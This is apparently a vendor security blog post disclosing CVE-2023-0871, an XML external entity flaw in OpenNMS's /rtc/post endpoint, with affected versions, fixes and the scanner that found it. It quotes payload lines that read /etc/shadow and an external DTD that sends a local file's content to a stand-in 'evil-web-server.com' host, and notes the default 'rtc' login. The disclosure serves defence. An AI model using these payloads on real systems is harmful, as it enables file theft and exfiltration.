close search bar

Sorry, not available in this language yet

close language selection

CyRC Vulnerability Analysis: XML external entity injection vulnerability in OpenNMS

Moshe Apelbaum

Oct 04, 2023 / 8 min read

Overview

During recent security research, disclosed in August, we discovered an XML external entity injection (XXE) vulnerability, using Synopsys Seeker, an interactive application security testing (IAST) tool. 

XXE vulnerabilities can be exploited by a threat actor sending a malicious HTTP request to an HTTP endpoint exposed by OpenNMS. This blog post explores the root cause analysis of the XML XXE bug, how it could be exploited by attackers, and the patches applied by the maintainers.

OpenNMS is a Java language open source network monitoring platform. The OpenNMS platform monitors some of the largest networks in the Fortune 500, covering the healthcare, technology, energy, finance, government, education, retail, and industrial sectors, many with tens of thousands of networked devices.

OpenNMS comes in two open source distributions: Horizon (community release) and Meridian (enterprise release) with AGPLv3 license. Additional components enhance the platform with distributed network monitoring (Minion), scalability (Sentinel), and scalable data persistence (Newts). OpenNMS is a high-value target since it allows a system administrator to monitor server/services, which in some cases require service/server credentials. That is, if an attacker were to gain access to the credentials of a monitored service/server, they could perform a lateral network movement and spread across other networks or network hosts.

Impact

CVE-2023-0871 impacts OpenNMS Horizon 31.0.8 and versions earlier than 32.0.2. The mitigation is to upgrade to Meridian 2023.1.6, 2022.1.19, 2021.1.30, 2020.1.38; or Horizon 32.0.2 or newer; or to not expose OpenNMS to the internet.

The exploitation involves sending one HTTP POST request to a HTTP endpoint (/rtc/post), which requires basic HTTP authentication. However, the default username and password, “rtc”, could be used to perform a server-side request forgery (SSRF) attack.


Technical details

XXE introduction

XXE is a security vulnerability that occurs when an application processes XML input from untrusted sources without properly validating or sanitizing it, while using a vulnerable XML parser. An attacker can exploit XXE to access files, perform remote requests, and potentially execute arbitrary code on the server. This poses a serious threat to web applications that handle XML data without proper precautions.

For our example, we a have a web service that accepts an XML payload (as a HTTP request body) and returns an XML payload (in the matching HTTP response body). A legitimate HTTP request/response is expected to look like this.

The matching HTTP response is this.

A malicious HTTP request is expected to look like this.

The matching HTTP response is this.

The malicious payload is an XML document with an embedded entity reference. The purpose of this payload is to access the contents of the /etc/shadow file, which is a sensitive system file containing password hashes on UXIX-like systems.

Here's a breakdown of what's happening in the payload (HTTP request body).

·       <!DOCTYPE replace [...] >: This is a document type definition (DTD) declaration. It defines an entity called "ent" that is intended to be replaced with the contents of the file specified in the SYSTEM attribute.

·       <!ENTITY ent SYSTEM "file:///etc/shadow">: This defines an entity named "ent" that refers to the content of the /etc/shadow file using the "file://" protocol. In essence, it's an attempt to include the contents of this file into the XML document.

·       <userInfo>: This is the opening tag of an XML element called "userInfo."

·       <firstName>John</firstName>: This is an XML element called "firstName" with the value "John."

·       <lastName>&ent;</lastName>: This is an XML element called "lastName" where the content is being replaced with the value of the "ent" entity. Since "ent" is defined to reference the contents of the /etc/shadow file, this is an attempt to include the file content within the XML.

In summary, this payload tries to exploit a vulnerability in an XML parser by using entity expansion to access the contents of the /etc/shadow file. This technique is often used in XXE attacks. However, modern XML parsers are usually configured to prevent such attacks by disabling entity expansion from external sources, making this payload ineffective on properly configured systems.

XXE in OpenNMS

OpenNMS allows monitoring services and server availability. Incoming availability reports are handled (saved) by the: /rtc/post endpoint defined in

opennms-webapp/src/main/java/org/opennms/web/category/RTCPostServlet.java

The XML unmarshal sink is (indirectly) invoked by line 9, JaxbUtils.unmarshal, which unmarshals the XML from the HTTP request body into a org.OpenNMS.netmgt.xml.rtc.EuiLevel instance. At first glance this code does not seem to be vulnerable to XXE since the HTTP response does not contain any data from the XML. However, the XML parser configuration are too permissive.

The getXMLFilterForClass function is eventually invoked by JaxbUtils.unmarshal, and the disableDOCTYPE parameter value is false. As a result lines 7 through 9 are skipped, which means the XML parser will use a configuration that is vulnerable to XXE injection, that is, the parser will

·       Include external general entities

·       Include external parameter entities and the external DTD subset

While unmarshaling an XML document. Here is an example of a legitimate HTTP request and response (/rtc/post endpoint).

The matching response this.

Blind XXE exploitation

It is possible to exfiltrate files from the OpenNMS server by leveraging the XXE injection. Even though external entities are not directly included in the response to the request, it is still possible to exploit this vulnerability using blind XXE injection techniques.

An initial HTTP request to /rtc/post endpoint (from an attacker to an OpenNMS instance) is this.

The provided XML payload includes a document type declaration (DTD) that defines some entities and their values. The payload references an external DTD file located at 'http://evil-web-server/external_document_type_definition.dtd'.

The payload references an external DTD file located at 'http://evil-web-server.com/external_document_type_definition.dtd', which contains additional entity definitions.

The payload then uses the defined entities `%externalDTD;` and `%callbackEntity;`, which would be replaced with their corresponding values from the DTD. Finally, the payload contains an `<a>` element with the content `&remoteFileContent;`, which would also be replaced with its value based on the DTD. However, since this is a blind XXE, the attacker is not able to see the returned XML.

The XML parser initiates a request to 'http://evil-web-server.com/external_document_type_definition.dtd'' (from OpenNMS instance to the attacker-controlled web server).

The evil web server responds with the content of the ‘external_document_type_definition.dtd’ file (from evil web server to OpenNMS instance).

·        `<!ENTITY % localFileContent SYSTEM 'file:///usr/share/opennms/karaf.pid'>`:  This entity declaration defines `%localFileContent` to point to a specific local file path.

·       (`/usr/share/opennms/karaf.pid`) is a placeholder for the content of the local file.

·        `<!ENTITY % callbackEntity "<!ENTITY remoteFileContent SYSTEM 'http://evil-web-server.com/callback/?%localFileContent;'>">`: This entity declaration creates `%callbackEntity`, which in turn creates another entity, `%remoteFileContent`. The `%remoteFileContent` entity is designed to fetch the content of the local file specified by `%localFileContent` and send it as a HTTP query parameter to a remote server hosted at `http://evil-web-server.com/callback/?<file-content>`.

The exploit lies in the ability to include external entities from both local and remote sources. In this payload

·        `%localFileContent` tries to access a local file, possibly containing sensitive information. Since the XML parser is configured to process external entities, the content of the specified local file (`karaf.pid`) could be retrieved and used.

·        `%callbackEntity` sets up an entity that fetches the content of the local file using `%localFileContent` and sends it to a remote server via an HTTP request to `http://evil-web-server.com/callback/`.

This is an example of data exfiltration, where the content of the local file is potentially leaked to an external attacker-controlled server. Note that since the file content is sent as a HTTP query parameter the following two conditions must be met:

·       The exfiltrated file must be a text file.

·       It must have exactly one line of text.

Callback to the evil web server in attempt to resolve the ‘callbackEntity’ XML entity (from OpenNMS to evil web server).

The file content of ‘karaf.pid’ was exfiltrated (first line of the request). This HTTP request/response is less interesting, since a file from OpenNMS was already exfiltrated to the evil web server.

Discovery

Even though this bug seems elusive, it was discovered and verified almost immediately once the application was ready to handle HTTP requests. The discovery was made possible thanks to Synopsys Seeker®, an interactive application security testing (IAST) tool.  

Seeker tracks tainted data and checks whether it reaches a possibly vulnerable sink without proper sanitization. Seeker supports a variety of programming languages. in this case, it is a Java agent, which means it has high visibility into the application internals, leveraging Java instrumentation API.

Seeker identified that the XML parser that unmarshals tainted data was misconfigured. It also sent additional requests to exploit the XXE, and they succeeded, so the finding is tagged as verified. Here is a summary of the XXE along with full stack trace of the XML sink.

Eventually, a developer will have to fix the XXE, and the stack trace shown here will help determine the vulnerable XML parser instance.

Tainted data flow visualization from source to sink.

This is an overview of how tainted data enters a system and makes its way to a possibly vulnerable sink.

The HTTP request Seeker used to verify the XXE.

This is the HTTP request that Seeker crafted, which is considered proof that the HTTP endpoint is vulnerable to XXE

Summary

This blog post examined a XXE bug in OpenNMS and how it could be used to exfiltrate data out-of-band. Additionally, it showed how Synopsys Seeker IAST was used to detect this issue. Finally, it outlined the mitigations implemented by the maintainers.

We would like to thank the OpenNMS maintainers for their cooperation and swift response.

Continue Reading

Explore Topics